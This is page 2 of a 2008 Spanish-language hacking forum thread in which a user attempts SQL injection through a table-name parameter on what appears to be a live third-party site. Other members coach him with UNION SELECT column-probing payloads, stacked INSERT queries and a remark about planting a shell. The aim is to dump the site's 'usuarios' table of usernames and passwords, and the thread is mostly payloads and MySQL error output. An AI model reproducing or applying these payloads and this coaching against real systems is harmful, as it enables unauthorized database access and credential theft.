elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  MySQL Problemas con inyección en el nombre de la tabla
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 [2] Ir Abajo Respuesta Imprimir
Autor Tema: MySQL Problemas con inyección en el nombre de la tabla  (Leído 10,030 veces)
PaPeRrO


Desconectado Desconectado

Mensajes: 549


You Are Being Monitored


Ver Perfil
Re: atascado con inyeccion sql
« Respuesta #10 en: 23 Mayo 2008, 00:45 am »

trato de pensarrrrr xD,dios como quema esto, eso si estoy aprendiendo no sabeis cuanto. no hay nada mejor como pensar jaja

si la sentencia es
select nombre from <inyeccion> order by hoy DESC LIMIT 0, 4

en el momento que meto un AND la cosa peta. pero si meto UNION si puedo meterle cosas.

si pongo en la inyeccion:
order by hoy DESC LIMIT 0, 4 /*
funciona y se ven los resultados

si pudiese meter AND pondria
AND (SELECT length(pass) FROM usuarios where usuario=invitado) = 8
asi comprobaria que la contraseña tiene 8 caracteres (i n v i t a d o)

pero como hago esto si cada vez que meto un AND peta?uf!

si meto      order by hoy DESC LIMIT 0, 4 AND 1=1 /*

dice
MySQL Error: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'and 1=1 /* order by hoy DESC LIMIT 0, 4' at line 1


y si no puedo meter and, como compruebo esto:
 (SELECT length(pass) FROM usuarios where usuario=invitado) = 8

o lo que necesite comprobar?
En línea

sirdarckcat
Aspirante a supervillano
Moderador
***
Desconectado Desconectado

Mensajes: 7.029


No estoy loco, soy mentalmente divergente


Ver Perfil WWW
Re: atascado con inyeccion sql
« Respuesta #11 en: 23 Mayo 2008, 09:33 am »

no puedes meter un AND porque no estas dentro de un WHERE.. no es un blind, porque al parecer si te regresa los datos, es muy probable que puedas generar una bonita tabla con usuario:password si haces bien las cosas.

Saludos!!
En línea

PaPeRrO


Desconectado Desconectado

Mensajes: 549


You Are Being Monitored


Ver Perfil
Re: atascado con inyeccion sql
« Respuesta #12 en: 23 Mayo 2008, 09:41 am »

si esque me falta mucho sql por saber. menos mal que el año que viene tendre una asginatura sobre ello.bueno ahora hare unas cuantas pruebas
En línea

Azielito
no es
Colaborador
***
Desconectado Desconectado

Mensajes: 9.188


>.<


Ver Perfil WWW
Re: atascado con inyeccion sql
« Respuesta #13 en: 23 Mayo 2008, 16:30 pm »

podrias hacer in insert

Citar
elect nombre from obranueva order by hoy DESC LIMITA 0,4; (INSERT); /* order by hoy DESC LIMIT 0, 4

Del mismo modo, en lugar de  meter usuarios podes meterle una shell ñ_ñ
En línea

sirdarckcat
Aspirante a supervillano
Moderador
***
Desconectado Desconectado

Mensajes: 7.029


No estoy loco, soy mentalmente divergente


Ver Perfil WWW
Re: atascado con inyeccion sql
« Respuesta #14 en: 25 Mayo 2008, 07:42 am »

eso no siempre se puede hacer azielito :-X.. solo en sistemas no-mysql
Código:
SELECT * FROM users;(INSERT INTO users VALUES (1,2,3))

Regresa:

Código:

De hecho es muy raro que se pueda, requires que el sistema encargado de hacer las consultas separe las queries individualmente antes de hacer las peticiones.
En línea

Azielito
no es
Colaborador
***
Desconectado Desconectado

Mensajes: 9.188


>.<


Ver Perfil WWW
Re: atascado con inyeccion sql
« Respuesta #15 en: 26 Mayo 2008, 17:52 pm »

entiendo '_'

*_*
En línea

PaPeRrO


Desconectado Desconectado

Mensajes: 549


You Are Being Monitored


Ver Perfil
Re: atascado con inyeccion sql
« Respuesta #16 en: 26 Mayo 2008, 18:04 pm »

huelo la miel pero no puedo tocarla.

cada vez que meto un parentesis me da un error, por ejemplo intento dar con el numero de entradas que tiene la tabla usuarios de esta manera
UNION SELECT MIN(usuario),1,1,1,1,1,1,1,1,1,1,1 FROM usuarios WHERE (SELECT Count(*) FROM usuarios) < 1000 /*

y me da este error

MySQL Error: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'SELECT Count(*) FROM usuarios) < 1000 /* order by hoy DESC LIMI

siempre que meto un parentesis antes de un select para hacer la comprobacion me da error. que estoy haciendo mal?

lo intento hacer como en el manual de blind sql inyection de ka0x

 PDF  --->   http://www.milw0rm.com/papers/197

esto esta mal?
WHERE (SELECT Count(*) FROM usuarios) < 1000 /*


En línea

ChElAnO

Desconectado Desconectado

Mensajes: 129


Ver Perfil
Re: atascado con inyeccion sql
« Respuesta #17 en: 26 Mayo 2008, 18:48 pm »


hola,

tambien podrias probar llamando a la funcionar char() en vez de poner el caracter ')' directamente.
busca su numero asci

Citar
poniendo -- ya no me da ningun error.
obranueva UNION SELECT 1,1,1,1,1,1,1,1,1,1,1,1 FROM usuarios --

si dices que eso ya funciona, entonces prueba hasta que encuentres cual es el campo mostrado en el html, asi:

obranueva UNION SELECT database(),1,1,1,1,1,1,1,1,1,1,1 FROM usuarios --
obranueva UNION SELECT 1,database(),1,1,1,1,1,1,1,1,1,1 FROM usuarios --
obranueva UNION SELECT 1,1,database(),1,1,1,1,1,1,1,1,1 FROM usuarios --
.
...

hasta que muestre la base de datos que estas utilizando. Luego, sabras en que posicion debes poner username o password, para que te lo muestre.

Algo más, intenta hacer la inyeccion

-1 UNION SELECT database(),1,1,1,1,1,1,1,1,1,1,1 FROM usuarios --

o algo asi, para que no haga un merge de los 2 selects, y sólo muestre el tuyo,
saludos

En línea

PaPeRrO


Desconectado Desconectado

Mensajes: 549


You Are Being Monitored


Ver Perfil
Re: atascado con inyeccion sql
« Respuesta #18 en: 28 Mayo 2008, 00:52 am »


obranueva UNION SELECT database(),1,1,1,1,1,1,1,1,1,1,1 FROM usuarios --
lo de database() no lo entiendo. que se supone que tengo que meter ahi? el nombre de el campo??
es decir:
obranueva UNION SELECT usuario(),1,1,1,1,1,1,1,1,1,1,1 FROM usuarios --
asi?

al meter el -1 me da error sera que tengo que cerrar un parentesis o algo de la primera consulta?

como quedaria lo del char?
CHAR(40) SELECT length(pass) FROM usuarios where usuario=invitado CHAR(41)

da error

MySQL Error: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'SELECT length(pass) FROM usuarios where usuario=invitado CHAR(4

algo pasa con la primera consulta, yo normalmente no la termino y no me muestra nada, pero no me da error,, ahora estoy intentando terminarla y luego añadir algo mas para que asi se muestre el contenido.

si pongo
obranueva order by hoy DESC LIMIT 0, 4 /* se ve el contenido perfectamente

pero si pongo
obranueva order by hoy DESC LIMIT 0, 4

obranueva order by hoy DESC LIMIT 0, 4 UNION SELECT usuario,1,1,1,1,1,1,1,1,1,1,1 FROM usuarios --

me dice MySQL Error: Wrong usage of UNION and ORDER BY
¿?¿?¿?
En línea

Páginas: 1 [2] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Crear tabla usando como nombre el campo de otra MYSQL [Solucionado]
Bases de Datos
Graphixx 1 4,260 Último mensaje 1 Diciembre 2010, 06:48 am
por Graphixx
Problemas Con Tabla
Java
ZedGe 2 2,303 Último mensaje 27 Noviembre 2011, 05:18 am
por ZedGe
Inyeccion SQL en mysql 3.X
Nivel Web
Cleantesdeasso 0 2,170 Último mensaje 8 Diciembre 2011, 10:21 am
por Cleantesdeasso
¿Harto de que pronuncien mal tu nombre? Esta web acaba con tus problemas
Noticias
wolfbcn 0 1,312 Último mensaje 13 Noviembre 2016, 21:26 pm
por wolfbcn
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines